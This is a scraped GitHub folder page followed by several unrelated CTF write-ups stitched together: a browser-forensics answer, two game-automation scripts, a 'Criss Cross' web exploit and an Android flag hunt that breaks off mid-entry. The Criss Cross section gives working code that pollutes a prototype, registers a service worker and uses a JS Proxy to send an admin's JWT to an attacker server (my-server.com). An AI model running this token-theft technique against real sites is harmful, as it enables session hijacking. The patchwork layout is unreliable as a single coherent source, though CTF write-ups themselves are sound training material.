<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/noob-atbash/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268353024,"originating_url":"https://github.com/noob-atbash/CTF-writeups/tree/master/ractf-20","user_id":null}}" data-hydro-click-hmac="3909d4ec2adedcc691cfa09c181db71a8e01a5b1af2749d2e1d324d09c819ae2"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span>ractf-20<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span>ractf-20<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/noob-atbash/CTF-writeups/tree-commit/3c4f9c25171916f6fb184a5a4972b560aa172298/ractf-20" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/noob-atbash/CTF-writeups/file-list/master/ractf-20"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>images</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ractf.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# 2020 Defenit CTF - What Browser do I use>###### tags: `forensics`>[name=whysw@PLUS]## Attachments- problem - [Image](https://drive.google.com/drive/folders/1oQYvJnbOou5TUXaV1ApoQnP6S_Vj8pbI)
## ChallengeFind the version of the hacker's default browser!
## Solution### Find default browserusing FTK imager, found`/Users/secre/NTUSER.DAT`
using registry viewer, found that`/Software/Microsoft/Windows/Shell/Associations/UrlAssociations/http/UserChoice/ProgId`is **`ChromeHTML`**.
---### Find the version of Chromeusing FTK imager, found`/Program Files (x86)/Google/Chrome/Application/83.0.4103.61` folder.
send `83.0.4103.61` to server and got the flag.
FLAG : `Defenit{Th1s_15_Chr0m3_Br0w53r!!}` |
# Really Powerful GnomesPoints: 150## CategoryScripting## Problem Statement```Only YOU can save the village!Connect with:nc jh2i.com 50031```## Solution#### One very useful tip at the end.Fire up `nc jh2i.com 50031`.\Play game for few minutes and you will realise you need something for its automation.\I found [this](https://gist.github.com/leonjza/f35a7252babdf77c8421) awesome netcat like module written in python.\Rest was writing script to automate this task.
[Full script](script.py)
We need one function for playing game until we can level up.\```pycur_level=0cost=[100,1000,2000,10000,100000]while True: nc.buff = b'' string = nc.read_until(b"7. End journey").decode("utf-8") print("[ Read log: "+string+"]")
if cur_level==len(cost): print("Exiting") nc.write(str.encode("7\n")) nc.read_until(b'keep__calm',True) elif current_balance(string)>=cost[cur_level]: cur_level+=1 level_up(cur_level) nc.write(str.encode(str(6-cur_level)+'\n'))```
One function for level up.\```pydef level_up(n): print("Moving to next level. Current level "+str(n-1)) nc.write(str.encode('6\n')) nc.buff = b'' string = nc.read_until(b"tank (100000 gold) (level 10)").decode("utf-8") nc.write(str.encode(str(n)+'\n')) print("Moved to next level. Current level "+str(n))```
One for current balance.\```pydef current_balance(s): s = s[s.find('Gold: ')+len('Gold: '):] s = s[:s.find('Weapon ')-1] print("Current gold "+s) return int(s)```
## Flag```flag{it_was_in_fact_you_that_was_really_powerful}```
## TIP -Offline this script takes ~15 mins, while running it on amazon aws server takes just 30s. |
### Criss Cross writeup quick and dirty
Pollute prototype with request: https://vulnerableweb.site/debug?a[toString]&title[]=// . Request will cause an exception on the server, which will execute following code:
```jscatch (e) { // Print Error let token = req.cookies.token || ""; let title = req.query.title || "Error";
return res.send(`${title} [${new Date().getTime()}] - <${e}>\n${token}`); }```
Example of value sent back from the server:
```js// [1592170328979] - <TypeError: Cannot convert object to primitive value>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTU5MjE0NzcxNywiZXhwIjoxNjI4MTQ3NzE3fQ.WnJ-iC3HF9QtERkTVp22S1K5lI0gjLqIrR8N6YlZ28U```
As we can see, this will return the jwt token. The returned token will be treated as javascript by the browser, which we will use in order to leak the token of the admin.
We will get the token by using XSSI with the help of the /report endpoint. For that, you have to use your own webserver. Assume my-server.com is your server. We will create following html document:
```html
<html><head><title>Page Title</title> <script>window.addEventListener('load', function() {var sw = "http://my-server.com/sw.js";navigator.serviceWorker.register(sw, {scope: '/'}) .then(function(registration) { var xhttp2 = new XMLHttpRequest(); xhttp2.open("GET", "http://my-server.com/SW/success", true); xhttp2.send(); const script = document.createElement('script'); script.src = "https://vulnerableweb.site/debug?a[toString]&title[]=//" document.body.appendChild(script); }, function (err) { console.log('Service worker error:', err); var xhttp2 = new XMLHttpRequest(); xhttp2.open("GET", "http://my-server.com/SW/error", true); xhttp2.send(); });});
const validator = { get: function(obj, name) { obj[name] = {}; fetch("http://my-server.com/token/"+name) return new Proxy(obj[name], validator); }, set: function(obj, name, value) { console.log('test'); }}
var eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 = new Proxy({}, validator);
</script></head><body>Nice challenge</body></html>```
And the service worker (needed because debug endpoint is POST only):```js
self.addEventListener('fetch', (event) => { event.respondWith(async function() { let resp; if (event.request.url.includes('vulnerableweb')) { resp = await fetch(event.request, {method: 'POST'}); } else { resp = await fetch(event.request); } return resp }());});```
In a nutshell exploit works in the following way:1. Visiting http://vulnerableweb.site/report?quote_url=https://my-server.com will result in the "admin" downloading our html file.2. This will register the service worker and request the debug endpoint causing the exception and the admin token to be send back.3. Due to CORS we cant directly read the token from the fetch response, but since the returned value is valid javascript and the first part of the jwt token is deterministic we can create an object and use the JS Proxy to leak the rest of the token. (This might take some tries, since the jwt token sometimes has a minus sign in it, which breaks the proxy leaking).4. We send the leaked token parts to our server, where we can read them from the logs.5. Use the deterministic part of the token + the two leaked ones to create the valid jwt token and request https://vulnerableweb.site/api/flag to obtain the flag.
Flag: flag{s0m3t!m35_jwt_c4n_b3_v4l!d_j4v45cr!pt} |
# Really Powerful Gnomes
## Topics
- Scripting
## Script
```python#!/usr/bin/env python3from pwn import *
#--------setup--------#
host = "jh2i.com"port = 50031
#--------helper functions--------#
def buy(i): log.info(r.sendlineafter("> ", "6")) log.info(r.sendlineafter("What would you like to buy? (press 0 to exit the shop): ", str(i)).decode())
def read_gold(): log.info(r.readuntil("Gold: ").decode()) gold = int(r.readuntil("\n").rstrip().decode()) log.info(f"Gold: {gold}")
return gold
def get_gold(i, need): gold = read_gold() while gold < need: fight(i) gold = read_gold()
def fight(i): log.info(r.sendlineafter("> ", str(i)).decode())
def prepare(weapon, level, need): buy(weapon) get_gold(level, need)
#--------interact--------#
r = remote(host, port)
prepare(1, 5, 1000)prepare(2, 4, 2000)prepare(3, 3, 10000)prepare(4, 2, 100000)
# fight gnomesbuy(5)fight(1)
# print flaglog.info(r.readall().decode())```
## Flag
```plaintextflag{it_was_in_fact_you_that_was_really_powerful}``` |
# Mobile
## Candroid```I think I can, I think I can!
Download the file below.Files: candroid.apk```We extract apk in a directory and we check if the flag is writed in plain text:```$ grep -R flagMETA-INF/CERT.SF:Name: res/layout/activity_flag.xmlMETA-INF/MANIFEST.MF:Name: res/layout/activity_flag.xmlBinary file resources.arsc matchesBinary file classes.dex matches
$ strings resources.arsc | grep flagflag{4ndr0id_1s_3asy}res/layout/activity_flag.xmlflagTVactivity_flagflag```
The flag is: `flag{4ndr0id_1s_3asy}`
## Simple App```Here's a simple Android app. Can you get the flag?
